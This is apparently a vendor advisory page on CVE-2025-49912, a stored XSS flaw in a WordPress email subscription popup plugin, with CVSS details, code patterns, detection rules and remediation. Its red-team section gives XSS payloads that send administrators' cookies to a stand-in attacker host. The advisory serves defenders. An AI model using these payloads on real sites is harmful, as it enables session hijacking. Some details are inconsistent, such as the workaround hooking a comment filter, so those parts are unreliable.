CVE-2025-49912
Executive Summary
CVE-2025-49912 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Email Subscription Popup by Nks, affecting versions through 1.2.26. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the browsers of other users. With a CVSS score of 5.9 (Medium), this flaw can lead to session hijacking, data theft, and defacement. No public exploit code or patch details are currently available, but the risk is elevated due to the widespread use of WordPress plugins.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. Since WordPress plugins are distributed via the official plugin repository and third-party marketplaces, any site running an affected version is at risk. The lack of a patch from the vendor (Nks) means site administrators must manually apply mitigations or remove the plugin.
CVSS Breakdown & Threat Level
- CVSS Score: 5.9 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must visit a page with the stored payload)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. While the CVSS score is moderate, the potential for widespread exploitation in WordPress environments and the lack of a patch increase the urgency.
Deep Dive & Mechanics
The vulnerability is a Stored XSS in the Email Subscription Popup plugin. The plugin fails to sanitize or escape user-supplied input (e.g., email addresses, names, or custom fields) before storing it in the database and later rendering it on the admin dashboard or front-end popup. An attacker can submit a crafted payload via the subscription form, which is then executed when an administrator or other user views the affected page.
Attack Flow:
- Attacker identifies a WordPress site using the vulnerable plugin.
- Attacker submits a subscription request with a malicious JavaScript payload (e.g.,
<script>alert('XSS')</script>). - The payload is stored in the database without sanitization.
- When an admin views the subscriber list or the popup settings page, the payload executes in their browser.
- The attacker can steal cookies, session tokens, or perform actions on behalf of the admin.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern.
Vulnerable Code (PHP):
// In email-subscribe.php or similar
$email = $_POST['email'];
// Directly stored without sanitization
$wpdb->insert($table_name, array('email' => $email));
// Later rendered without escaping
echo $row->email;
Patched Code (Expected):
// Sanitize input
$email = sanitize_email($_POST['email']);
// Escape output
echo esc_html($row->email);
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A WordPress site with Email Subscription Popup <= 1.2.26.
- Access to the subscription form (usually public).
Exploitation Steps:
- Locate the subscription form on the target site.
- Submit a payload in the email field (or other input fields) such as:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Wait for an admin to view the subscriber list or popup settings.
- The payload executes, exfiltrating the admin's session cookie.
Example Payload:
<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>
Blue Team (Defender)
Detection:
- Monitor for unusual subscription submissions containing
<script>tags or event handlers. - Check web server logs for requests to
/wp-admin/admin.php?page=email-subscribewith suspicious parameters. - Use WAF rules to block common XSS patterns.
Hunting:
- Query the database for stored XSS patterns in the plugin's table (e.g.,
wp_email_subscribe). - Look for outbound connections to unknown domains from the WordPress admin panel.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Suspicious parameters in POST requests to the subscription endpoint (e.g.,
email=<script>).
- Host:
- Presence of JavaScript payloads in the
wp_email_subscribedatabase table. - Modified plugin files (though unlikely for stored XSS).
- Presence of JavaScript payloads in the
- File:
- No specific file IOCs; the payload is stored in the database.
Detection Engineering
YARA Rule
rule CVE_2025_49912_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Email Subscription Popup plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-49912"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$event_handler = /on\w+\s*=\s*['\"].*?['\"]/is
condition:
any of them
}
Sigma Rule
title: Stored XSS in Email Subscription Popup Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via subscription form
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: '/wp-admin/admin.php?page=email-subscribe'
cs-method: 'POST'
cs-uri-query|contains: 'email='
filter:
cs-uri-query|contains: 'email=*@*.*'
condition: selection and not filter
falsepositives:
- Legitimate email submissions with special characters
level: medium
Suricata Rule
alert http any any -> $HOME_NET any (msg:"CVE-2025-49912 Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin.php?page=email-subscribe"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Remove any suspicious entries from the
wp_email_subscribedatabase table. - Implement a Web Application Firewall (WAF) rule to block XSS payloads.
Long-term Fix:
- Monitor the plugin's official page for updates.
- Consider replacing the plugin with an alternative that is actively maintained.
- Apply input sanitization and output escaping to all user-supplied data.
Workaround:
- Add the following code to the theme's
functions.phpto sanitize input:
add_filter('preprocess_comment', 'sanitize_email_subscription');
function sanitize_email_subscription($data) {
if (isset($data['email'])) {
$data['email'] = sanitize_email($data['email']);
}
return $data;
}
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.